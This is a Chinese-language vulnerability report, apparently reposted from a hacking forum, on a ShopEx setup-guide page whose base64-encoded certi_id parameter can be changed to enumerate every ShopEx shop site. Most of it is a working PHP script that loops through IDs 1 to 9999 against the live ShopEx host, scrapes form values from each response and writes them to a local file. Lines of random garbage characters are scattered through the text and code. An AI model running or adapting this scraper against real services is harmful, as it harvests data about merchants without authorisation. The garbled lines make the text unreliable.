ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
! M4 e* \* l% e, h- i( gShopEx某接口缺陷,可遍历所有网站
7 K- \4 Q0 h* R9 y5 Z5 Q% k详细说明：
# k1 @3 ~1 E4 y! ^( b  e+ `问题出现在shopex 网店使用向导页面

; w+ ~5 m  @) @) C8 W; q

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" n* K* x; P7 n


9 G. D' M; o" Y% R) O  Vrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

& C+ B' r2 T/ e" b+ I
) N+ k) c, R! S5 z2 y
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

' I- u8 b2 l" ]8 \& Y5 T
, ?2 t5 \% O% y. E/ p# o' D: j
<?php

                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
6 [6 R5 M0 L* J( `" t9 l
0 _7 _# S- U. j5 U* m                }
% g- y+ K, q% e( ?4 t
                function ShowshopExD($cid) {
& v3 a# {* m7 K. d. l4 o/ ?
1 {0 ?5 r( j/ h                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

+ I; A+ T) h9 ~. U/ ~        $url = $url.'?refer='.$refer;
7 m3 o. l  p( H3 R
        $ch = curl_init($url);

* v0 w8 {$ |$ e4 c        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

' Q. T( z, ^- m& J+ r3 ?        $result = curl_exec($ch);
2 H% q* y. _  Q- I$ |. j# o% |3 O
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

# X& Q( ?3 y6 O5 w        if(strpos($result,$refer))
5 J$ S% _. T9 k3 H  t
        {
+ Z+ J" u  X2 l: a3 t& C! x1 @, |
4 V: T) _  G/ A7 e                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

) J* Y) R; z! W                        echo $res[1][0].':'.$res[3][0]."\r\n";
0 M3 n/ d( u- w5 C! `; `
( ]: O& P8 K. g& c0 W: t                        $col =$res[1][0].':'.$res[3][0]."\r\n";
6 c. o/ N2 A0 s- L
                        fwrite($fp, $col, strlen($col));
2 h+ X/ l4 {0 c" T
                }

7 W- ~8 y& Q1 U. f                echo '--------------------------------'."\r\n";

                fclose($fp);
" K% p7 W' b0 S& [" ]8 t
        }

        flush();
5 T- x7 G9 Q0 p" L3 `3 K) J
        curl_close($ch);
2 n/ j* t7 o& g6 a/ A0 x
                }
( b9 @% Q0 \! x) E" c* ?7 l
4 T) n5 j) g( P0 {$ Z" s: B6 T# h?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式